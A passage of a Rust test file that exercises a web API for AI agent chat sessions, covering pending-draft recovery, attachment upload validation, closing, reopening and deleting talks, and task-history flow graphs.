13066 assert_eq!(turns[0]["body"], "corrected");
13067 assert_eq!(detail["pending"], "");
13068 }
13069
13070 #[tokio::test]
13071 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13072 let tmp = TempDir::new().expect("tempdir");
13073 let repo = tmp.path().join("repo");
13074 std::fs::create_dir_all(&repo).expect("repo dir");
13075 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13076 let f = Fixture::with_repo(repo).await;
13077 let id = f.post("/api/talks", None).await.json()["id"]
13078 .as_str()
13079 .expect("id")
13080 .to_owned();
13081 let store = f.talks();
13082 let mut recovered = store.get(&id).expect("opened talk");
13083 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13084 .expect("persist pending draft without a live turn");
13085
13086 let refused = f
13087 .post(
13088 &format!("/api/talks/{id}/say"),
13089 Some(r#"{"text":"new message"}"#),
13090 )
13091 .await;
13092 assert_eq!(refused.status, 409, "{}", refused.body);
13093 assert!(refused.body.contains("resume"), "{}", refused.body);
13094 let saved = store.get(&id).expect("draft remains after refusal");
13095 assert!(saved.turns.is_empty());
13096 assert_eq!(saved.pending, "saved before restart");
13097
13098 let say_path = format!("/api/talks/{id}/say");
13099 let (first, second) = tokio::join!(
13100 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13101 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13102 );
13103 assert_eq!(first.status, 409, "{}", first.body);
13104 assert_eq!(second.status, 409, "{}", second.body);
13105 let saved = store
13106 .get(&id)
13107 .expect("draft remains after concurrent refusals");
13108 assert!(saved.turns.is_empty());
13109 assert_eq!(saved.pending, "saved before restart");
13110
13111 let resumed = f
13112 .post(&format!("/api/talks/{id}/pending/resume"), None)
13113 .await;
13114 assert_eq!(resumed.status, 202, "{}", resumed.body);
13115 let duplicate = f
13116 .post(&format!("/api/talks/{id}/pending/resume"), None)
13117 .await;
13118 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13119
13120 for _ in 0..SETTLE_STEPS {
13121 if store.get(&id).expect("talk").turns.len() == 2 {
13122 break;
13123 }
13124 tokio::time::sleep(Duration::from_millis(10)).await;
13125 }
13126 let finished = store.get(&id).expect("finished talk");
13127 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13128 assert_eq!(finished.turns[0].body, "saved before restart");
13129 assert!(finished.pending.is_empty());
13130 }
13131
13132 #[tokio::test]
13133 async fn an_image_only_recovered_draft_resumes_without_text() {
13134 let (_tmp, _repo, f) = talk_fixture().await;
13135 let id = f.post("/api/talks", None).await.json()["id"]
13136 .as_str()
13137 .expect("id")
13138 .to_owned();
13139 let uploaded = f
13140 .post_bytes(
13141 &format!("/api/talks/{id}/attachments"),
13142 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13143 PNG_BYTES,
13144 )
13145 .await;
13146 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13147 let attachment = f
13148 .talks()
13149 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13150 .expect("attachment metadata")
13151 .expect("stored attachment");
13152 let store = f.talks();
13153 let mut recovered = store.get(&id).expect("opened talk");
13154 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13155
13156 let resumed = f
13157 .post(&format!("/api/talks/{id}/pending/resume"), None)
13158 .await;
13159 assert_eq!(resumed.status, 202, "{}", resumed.body);
13160 for _ in 0..SETTLE_STEPS {
13161 if store.get(&id).expect("talk").turns.len() == 2 {
13162 break;
13163 }
13164 tokio::time::sleep(Duration::from_millis(10)).await;
13165 }
13166 let finished = store.get(&id).expect("finished talk");
13167 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13168 assert!(finished.turns[0].body.is_empty());
13169 assert_eq!(finished.turns[0].attachments.len(), 1);
13170 assert!(finished.pending_attachments.is_empty());
13171 }
13172
13173 #[tokio::test]
13174 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13175 let (_tmp, _repo, f) = talk_fixture().await;
13176 let id = f.post("/api/talks", None).await.json()["id"]
13177 .as_str()
13178 .expect("id")
13179 .to_owned();
13180 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13181 assert_eq!(closed.status, 200, "{}", closed.body);
13182 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13183 .expect("serialize closed talk");
13184 for (path, body) in [
13185 (format!("/api/talks/{id}/pending/resume"), None),
13186 (
13187 format!("/api/talks/{id}/pending/clear"),
13188 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13189 ),
13190 (
13191 format!("/api/talks/{id}/pending/edit"),
13192 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13193 ),
13194 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13195 ] {
13196 let response = f.post(&path, body).await;
13197 assert_eq!(response.status, 409, "{}", response.body);
13198 }
13199 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13200 .expect("serialize closed talk");
13201 assert_eq!(
13202 after_clear, before_clear,
13203 "clear must not rewrite a closed talk"
13204 );
13205 }
13206
13207 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13210
13211 #[tokio::test]
13212 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13213 let tmp = TempDir::new().expect("tempdir");
13214 let repo = tmp.path().join("repo");
13215 std::fs::create_dir_all(&repo).expect("repo dir");
13216 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13217 let f = Fixture::with_repo(repo).await;
13218 let id_a = f.post("/api/talks", None).await.json()["id"]
13219 .as_str()
13220 .unwrap()
13221 .to_owned();
13222 let id_b = f.post("/api/talks", None).await.json()["id"]
13223 .as_str()
13224 .unwrap()
13225 .to_owned();
13226
13227 let a = f
13228 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
13229 .await;
13230 assert_eq!(a.status, 202, "{}", a.body);
13231 assert_eq!(a.json()["thinking"], true);
13232 let b = f
13233 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
13234 .await;
13235 assert_eq!(b.status, 202, "{}", b.body);
13236 assert_eq!(b.json()["thinking"], true);
13237
13238 let listed = f.get("/api/talks").await.json();
13239 for id in [&id_a, &id_b] {
13240 let view = listed
13241 .as_array()
13242 .unwrap()
13243 .iter()
13244 .find(|talk| talk["id"] == *id)
13245 .unwrap();
13246 assert_eq!(view["thinking"], true, "{listed}");
13247 }
13248 let repeated = f
13249 .post(
13250 &format!("/api/talks/{id_a}/say"),
13251 Some(r#"{"text":"again"}"#),
13252 )
13253 .await;
13254 assert_eq!(repeated.status, 202, "{}", repeated.body);
13255 assert_eq!(repeated.json()["pending"], "again");
13256 }
13257
13258 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
13261
13262 #[tokio::test]
13263 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
13264 let f = Fixture::start().await;
13265 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
13266
13267 let res = f
13268 .post_bytes(
13269 &format!("/api/talks/{id}/attachments"),
13270 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13271 PNG_BYTES,
13272 )
13273 .await;
13274 assert_eq!(res.status, 201, "{}", res.body);
13275 let body = res.json();
13276 assert_eq!(body["name"], "shot.png");
13277 assert_eq!(body["mime"], "image/png");
13278 assert_eq!(body["bytes"], PNG_BYTES.len());
13279 let att_id = body["id"].as_str().expect("id").to_owned();
13280 assert_eq!(
13281 att_id.len(),
13282 32,
13283 "the id must never be a client-suppliable path: {att_id}"
13284 );
13285
13286 let got = f
13287 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
13288 .await;
13289 assert_eq!(got.status, 200, "{}", got.body);
13290 assert_eq!(got.header("content-type"), Some("image/png"));
13291 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13292 assert_eq!(got.bytes, PNG_BYTES);
13293 }
13294
13295 #[tokio::test]
13296 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13297 let f = Fixture::start().await;
13298 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13299
13300 let svg = f
13303 .post_bytes(
13304 &format!("/api/talks/{id}/attachments"),
13305 &[("Content-Type", "image/svg+xml")],
13306 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13307 )
13308 .await;
13309 assert!(
13310 (400..500).contains(&svg.status),
13311 "svg must be refused: {} {}",
13312 svg.status,
13313 svg.body
13314 );
13315 assert!(svg.body.contains("SVG"), "{}", svg.body);
13316
13317 let text = f
13318 .post_bytes(
13319 &format!("/api/talks/{id}/attachments"),
13320 &[("Content-Type", "text/plain")],
13321 b"just some text",
13322 )
13323 .await;
13324 assert!(
13325 (400..500).contains(&text.status),
13326 "an unlisted type must be refused: {} {}",
13327 text.status,
13328 text.body
13329 );
13330
13331 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13334 let big = f
13335 .post_bytes(
13336 &format!("/api/talks/{id}/attachments"),
13337 &[("Content-Type", "image/png")],
13338 &oversized,
13339 )
13340 .await;
13341 assert_eq!(
13342 big.status,
13343 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13344 "{}",
13345 big.body
13346 );
13347 }
13348
13349 #[tokio::test]
13350 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13351 let f = Fixture::start().await;
13352 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13353
13354 let res = f
13357 .post_bytes(
13358 &format!("/api/talks/{id}/attachments"),
13359 &[("Content-Type", "image/png")],
13360 b"<html>not a picture</html>",
13361 )
13362 .await;
13363 assert!((400..500).contains(&res.status), "{}", res.body);
13364 }
13365
13366 #[tokio::test]
13367 async fn an_unknown_attachment_id_is_a_404() {
13368 let f = Fixture::start().await;
13369 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13370
13371 let res = f
13372 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13373 .await;
13374 assert_eq!(res.status, 404, "{}", res.body);
13375 }
13376
13377 #[tokio::test]
13378 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13379 let f = Fixture::start().await;
13380 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13381
13382 let uploaded = f
13383 .post_bytes(
13384 &format!("/api/talks/{id}/attachments"),
13385 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13386 PNG_BYTES,
13387 )
13388 .await;
13389 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13390 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13391
13392 let res = f
13393 .post(
13394 &format!("/api/talks/{id}/say"),
13395 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13396 )
13397 .await;
13398 assert_eq!(res.status, 202, "{}", res.body);
13399 let queued = res.json();
13400 let turns = queued["turns"].as_array().expect("turns array");
13401 assert_eq!(
13402 turns.len(),
13403 1,
13404 "an empty body with an attachment is still a turn: {queued}"
13405 );
13406 assert_eq!(turns[0]["who"], "operator");
13407 assert_eq!(turns[0]["body"], "");
13408 let atts = turns[0]["attachments"]
13409 .as_array()
13410 .expect("attachments array");
13411 assert_eq!(atts.len(), 1);
13412 assert_eq!(atts[0]["id"], att_id);
13413 assert_eq!(atts[0]["mime"], "image/png");
13414
13415 let on_disk = f.talks().get(&id).expect("get");
13418 assert_eq!(on_disk.turns[0].attachments.len(), 1);
13419 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13420 }
13421
13422 #[tokio::test]
13423 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13424 let f = Fixture::start().await;
13425 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13426
13427 let res = f
13428 .post(
13429 &format!("/api/talks/{id}/say"),
13430 Some(&format!(
13431 r#"{{"text":"hi","attachments":["{}"]}}"#,
13432 "a".repeat(32)
13433 )),
13434 )
13435 .await;
13436 assert!((400..500).contains(&res.status), "{}", res.body);
13437 assert!(res.body.contains("unknown attachment"), "{}", res.body);
13438
13439 let on_disk = f.talks().get(&id).expect("get");
13440 assert!(
13441 on_disk.turns.is_empty(),
13442 "a rejected attachment id must not partially record the turn: {:?}",
13443 on_disk.turns
13444 );
13445 }
13446
13447 #[tokio::test]
13448 async fn talk_close_makes_the_talk_refuse_further_turns() {
13449 let f = Fixture::start().await;
13450 let id = seed_talk(&f, "20260904-014455-cd34", "open");
13451
13452 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13453 assert_eq!(closed.status, 200, "{}", closed.body);
13454 assert_eq!(closed.json()["status"], "closed");
13455
13456 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13458 assert_eq!(closed_again.status, 200);
13459 assert_eq!(closed_again.json()["status"], "closed");
13460
13461 let said = f
13462 .post(
13463 &format!("/api/talks/{id}/say"),
13464 Some(r#"{"text":"too late"}"#),
13465 )
13466 .await;
13467 assert_eq!(said.status, 409, "{}", said.body);
13468 }
13469
13470 #[tokio::test]
13471 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13472 let (_tmp, _repo, f) = talk_fixture().await;
13473 let id = f.post("/api/talks", None).await.json()["id"]
13474 .as_str()
13475 .expect("id")
13476 .to_owned();
13477 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13478 assert_eq!(closed.status, 200, "{}", closed.body);
13479
13480 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13481 assert_eq!(reopened.status, 200, "{}", reopened.body);
13482 assert_eq!(reopened.json()["status"], "open");
13483
13484 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13486 assert_eq!(reopened_again.status, 200);
13487 assert_eq!(reopened_again.json()["status"], "open");
13488
13489 let said = f
13490 .post(
13491 &format!("/api/talks/{id}/say"),
13492 Some(r#"{"text":"still there?"}"#),
13493 )
13494 .await;
13495 assert_eq!(
13496 said.status, 202,
13497 "a reopened talk accepts turns again: {}",
13498 said.body
13499 );
13500 }
13501
13502 #[tokio::test]
13503 async fn talk_reopen_on_an_unknown_id_is_404() {
13504 let f = Fixture::start().await;
13505 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13506 assert_eq!(res.status, 404, "{}", res.body);
13507 }
13508
13509 #[tokio::test]
13510 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13511 let f = Fixture::start().await;
13512 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13513
13514 let deleted = f.delete(&format!("/api/talks/{id}")).await;
13515 assert_eq!(deleted.status, 204, "{}", deleted.body);
13516
13517 let after = f.get(&format!("/api/talks/{id}")).await;
13518 assert_eq!(after.status, 404, "{}", after.body);
13519
13520 let listed = f.get("/api/talks").await.json();
13521 assert!(
13522 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13523 "a deleted talk must not linger in the list: {listed}"
13524 );
13525 }
13526
13527 #[tokio::test]
13528 async fn talk_delete_on_an_unknown_id_is_404() {
13529 let f = Fixture::start().await;
13530 let res = f.delete("/api/talks/nonexistent-id").await;
13531 assert_eq!(res.status, 404, "{}", res.body);
13532 }
13533
13534 #[tokio::test]
13538 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13539 let f = Fixture::start().await;
13540 let (a, b, gone) = (
13541 "20260902-140501-aaaa",
13542 "20260902-140502-bbbb",
13543 "20260902-140503-cccc",
13544 );
13545 write_run(&f.runs(), a, RunStatus::Stalled);
13546 let mut review = RunState::new(
13547 PathBuf::from("/repo/magi"),
13548 "main".to_owned(),
13549 "0123456789abcdef".to_owned(),
13550 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13551 .to_owned(),
13552 Config::default(),
13553 );
13554 review.id = b.to_owned();
13555 review.status = RunStatus::Merged;
13556 write_state(&f.runs(), &review);
13557
13558 let mut task = Task::new(
13559 "retry".to_owned(),
13560 "Do the thing".to_owned(),
13561 PathBuf::from("/repo/magi"),
13562 Source::Human,
13563 );
13564 task.start(a.to_owned());
13565 task.stall("quota");
13566 task.start(a.to_owned());
13567 task.start(b.to_owned());
13568 task.start(gone.to_owned());
13569 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13571 f.queue().put(&mut task).expect("file the task");
13572
13573 let res = f.get(&format!("/api/queue/{}", task.id)).await;
13574 assert_eq!(res.status, 200, "{}", res.body);
13575 let v = res.json();
13576 let h = v["history"].as_array().expect("history");
13577 assert_eq!(h.len(), 4, "{v}");
13578 assert_eq!(h[0]["kind"], "competition");
13579 assert_eq!(h[0]["status"], "stalled");
13580 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13581 assert_eq!(h[1]["kind"], "resume", "{v}");
13582 assert!(
13583 h[0]["outcome"]
13584 .as_str()
13585 .unwrap()
13586 .contains("unknown. Pass #2"),
13587 "an earlier pass of a resumed run must not claim the final outcome: {v}"
13588 );
13589 assert!(
13590 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13591 "{v}"
13592 );
13593 assert!(
13594 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13595 "an unrecorded cause must not be narrated as an operator park: {v}"
13596 );
13597 assert_eq!(h[2]["kind"], "review");
13598 assert!(
13599 h[2]["description"]
13600 .as_str()
13601 .unwrap()
13602 .contains("magi/aaaa/A")
13603 );
13604 assert_eq!(h[2]["status"], "merged");
13605 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13606 assert_eq!(v["runs_unreadable"], 1);
13607 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13608 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13609 assert_eq!(nodes[4]["note"], "unreadable");
13610 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13611 assert_eq!(v["instruction"], "Do the thing");
13612 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13613
13614 let run = f.get(&format!("/api/runs/{a}")).await.json();
13616 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13617
13618 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13619 }
13620
13621 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13622 let mut s = RunState::new(
13623 PathBuf::from("/repo/magi"),
13624 "main".to_owned(),
13625 "0123456789abcdef".to_owned(),
13626 "Do it".to_owned(),
13627 Config::default(),
13628 );
13629 s.status = status;
13630 edit(&mut s);
13631 s
13632 }
13633
13634 fn flow_task(runs: &[&str]) -> Task {
13635 let mut t = Task::new(
13636 "t".to_owned(),
13637 "Do it".to_owned(),
13638 PathBuf::from("/repo/magi"),
13639 Source::Human,
13640 );
13641 for r in runs {
13642 t.start((*r).to_owned());
13643 }
13644 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13646 t
13647 }
13648
13649 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13650 let h = task_history(task, |id| {
13651 states
13652 .iter()
13653 .find(|(i, _)| *i == id)
13654 .and_then(|(_, s)| s.clone())
13655 });
13656 task_flow(task, &h, 5, None)
13657 }
13658
13659 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
13660 crate::queue::FollowUp {
13661 run: "20260901-000000-aaaa".to_owned(),
13662 origin_task: origin_task.map(str::to_owned),
13663 pr: "https://example.com/o/r/pull/1".to_owned(),
13664 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
13665 .map(str::to_owned)
13666 .to_vec(),
13667 generation: 1,
13668 }
13669 }
13670
13671 fn parent_task() -> Task {
13672 let mut p = flow_task(&[]);
13673 p.title = "Parent title".to_owned();
13674 p.status = TaskStatus::Done;
13675 p
13676 }
13677
13678 #[test]
13679 fn flow_opens_with_the_parent_task_of_a_followup() {
13680 let p = parent_task();
13681 let pid = p.id.clone();
13682 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
13683 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13684 let n = &f.nodes[0];
13685 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
13686 assert_eq!(
13687 n.label,
13688 format!("Follow-up of {}", crate::queue::short(&pid))
13689 );
13690 assert_eq!(n.detail.as_deref(), Some("Parent title"));
13691 assert_eq!(n.status, Some("done"));
13692 assert_eq!(n.status_of, "task");
13693 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
13694 assert_eq!(f.nodes[1].key, "start");
13695 assert_eq!(f.edges[0].from, "origin");
13696 assert_eq!(
13697 f.edges[0].label,
13698 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
13699 );
13700 }
13701
13702 #[test]
13703 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
13704 let o = followup_origin(
13705 &fu(Some("gone")),
13706 |_| None,
13707 |_| {
13708 Some(RunState::new(
13709 std::path::PathBuf::from("."),
13710 "main".to_owned(),
13711 "0".to_owned(),
13712 "t".to_owned(),
13713 crate::config::Config::default(),
13714 ))
13715 },
13716 );
13717 assert!(o.parent.is_none());
13718 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13719 let n = &f.nodes[0];
13720 assert_eq!(n.status_of, "run");
13721 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
13722 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
13723 }
13724
13725 #[test]
13726 fn flow_followup_with_nothing_readable_has_no_link() {
13727 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
13728 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13729 let n = &f.nodes[0];
13730 assert_eq!(n.href, None);
13731 assert_eq!(n.note, Some("unreadable"));
13732 assert!(!n.readable);
13733 }
13734
13735 #[test]
13736 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
13737 let o = followup_origin(&fu(None), |_| None, |_| None);
13738 let mut t = flow_task(&[]);
13739 t.origin_chat = Some("c1".to_owned());
13740 let f = task_flow(&t, &[], 5, Some(&o));
13741 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
13742 t.source = Source::Agent {
13743 run: "c1".to_owned(),
13744 node: crate::queue::CHAT_NODE.to_owned(),
13745 };
13746 let f = task_flow(&t, &[], 5, Some(&o));
13747 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
13748 assert_eq!(
13749 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
13750 ("chat", "origin")
13751 );
13752 }
13753
13754 #[test]
13755 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
13756 let mut p = parent_task();
13757 p.id = "a b/c".to_owned();
13758 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
13759 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
13760 }
13761
13762 #[test]
13763 fn flow_opens_with_the_chat_that_queued_the_task() {
13764 let mut t = flow_task(&[]);
13765 t.source = Source::Agent {
13766 run: "a b/c".to_owned(),
13767 node: crate::queue::CHAT_NODE.to_owned(),
13768 };
13769 let f = flow_for(&t, &[]);
13770 assert_eq!(f.nodes[0].key, "chat");
13771 assert_eq!(f.nodes[0].kind, "chat");
13772 assert_eq!(
13773 f.nodes[0].label,
13774 format!("Chat {}", crate::queue::short("a b/c"))
13775 );
13776 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
13777 assert_eq!(f.nodes[1].key, "start");
13778 assert_eq!(
13779 f.edges[0],
13780 FlowEdge {
13781 from: "chat".to_owned(),
13782 to: "start".to_owned(),
13783 label: "queued from chat".to_owned(),
13784 attempt: AttemptCost::None,
13785 }
13786 );
13787 }
13788
13789 #[test]
13790 fn flow_has_no_chat_box_for_other_sources() {
13791 for source in [
13792 Source::Human,
13793 Source::Issue {
13794 number: 3,
13795 repo: "o/r".to_owned(),
13796 },
13797 Source::Agent {
13798 run: "20260904-014455-ab12".to_owned(),
13799 node: "implement".to_owned(),
13800 },
13801 ] {
13802 let mut t = flow_task(&[]);
13803 t.source = source;
13804 let f = flow_for(&t, &[]);
13805 assert_eq!(f.nodes[0].key, "start");
13806 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
13807 assert!(f.edges.iter().all(|e| e.from != "chat"));
13808 }
13809 }
13810
13811 const FA: &str = "20260902-140501-aaaa";
13812 const FB: &str = "20260902-140502-bbbb";
13813
13814 #[test]
13815 fn flow_follows_blocked_retry_merged_to_done() {
13816 let mut t = flow_task(&[FA, FB]);
13817 t.status = TaskStatus::Done;
13818 let f = flow_for(
13819 &t,
13820 &[
13821 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
13822 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
13823 ],
13824 );
13825 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
13826 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
13827 assert_eq!(f.edges.len(), 3);
13828 assert_eq!(f.edges[0].label, "claimed");
13829 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
13830 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13831 assert_eq!(f.edges[2].label, "merged \u{2192} done");
13832 assert_eq!(
13833 f.nodes[2].href.as_deref(),
13834 Some("#/runs/20260902-140502-bbbb")
13835 );
13836 assert!(f.nodes[2].decided);
13837 }
13838
13839 #[test]
13840 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
13841 let quota = || {
13842 flow_run(RunStatus::Stalled, |s| {
13843 s.quota.push(crate::run::QuotaLoss {
13844 seat: "judge-1".to_owned(),
13845 node: "judge".to_owned(),
13846 at: Timestamp::now(),
13847 reset: None,
13848 })
13849 })
13850 };
13851 let mut t = flow_task(&[FA, FA]);
13852 t.status = TaskStatus::Queued;
13853 let f = flow_for(&t, &[(FA, Some(quota()))]);
13854 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
13855 assert_eq!(f.nodes[1].note, Some("interrupted"));
13856 assert_eq!(
13857 f.nodes[1].status, None,
13858 "no outcome copied onto an earlier pass"
13859 );
13860 assert_eq!(
13861 f.edges[1].attempt,
13862 AttemptCost::Unknown,
13863 "a resume does not prove the earlier pass was refunded"
13864 );
13865 assert!(f.edges[1].label.contains("resume the same run"));
13866 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
13867 assert_eq!(
13868 f.edges[2].label,
13869 "stalled after a resume, refund unknown \u{2192} queued"
13870 );
13871 assert!(!f.nodes[2].decided, "a stall is not a decision");
13872 assert_eq!(f.nodes[2].note, Some("no verdict"));
13873 }
13874
13875 #[test]
13876 fn flow_single_pass_quota_stall_is_refunded() {
13877 let t = flow_task(&[FA]);
13878 let f = flow_for(
13879 &t,
13880 &[(
13881 FA,
13882 Some(flow_run(RunStatus::Stalled, |s| {
13883 s.quota.push(crate::run::QuotaLoss {
13884 seat: "judge-1".to_owned(),
13885 node: "judge".to_owned(),
13886 at: Timestamp::now(),
13887 reset: None,
13888 })
13889 })),
13890 )],
13891 );
13892 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13893 }
13894
13895 #[test]
13896 fn flow_parked_refunds_and_stall_without_quota_spends() {
13897 let mut t = flow_task(&[FA]);
13898 t.status = TaskStatus::Queued;
13899 let f = flow_for(
13900 &t,
13901 &[(
13902 FA,
13903 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
13904 )],
13905 );
13906 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
13907 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13908 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
13909 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13910 assert!(!f.nodes[1].decided);
13911 }
13912
13913 #[test]
13914 fn flow_keeps_an_unreadable_run_as_its_own_node() {
13915 let t = flow_task(&[FA, FB]);
13916 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
13917 assert_eq!(f.nodes[1].note, Some("unreadable"));
13918 assert!(!f.nodes[1].readable);
13919 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
13920 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
13921 }
13922
13923 #[test]
13924 fn flow_names_the_branch_of_a_review_only_run() {
13925 let t = flow_task(&[FA]);
13926 let f = flow_for(
13927 &t,
13928 &[(
13929 FA,
13930 Some(flow_run(RunStatus::Merged, |s| {
13931 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
13932 })),
13933 )],
13934 );
13935 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
13936 assert_eq!(
13937 f.nodes[1].detail.as_deref(),
13938 Some("review-only run of branch magi/x/A")
13939 );
13940 }
13941
13942 #[test]
13943 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
13944 let mut t = flow_task(&[FA]);
13945 t.status = TaskStatus::Held;
13946 let pr = crate::run::PrRecord {
13947 url: "https://example.test/pr/1".to_owned(),
13948 number: 1,
13949 state: "open".to_owned(),
13950 checks: "green".to_owned(),
13951 round: 0,
13952 rounds: 3,
13953 red_at_merge: Vec::new(),
13954 };
13955 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
13956 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
13957 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
13958 t.status = TaskStatus::Done;
13959 let f = flow_for(&t, &[(FA, Some(blocked))]);
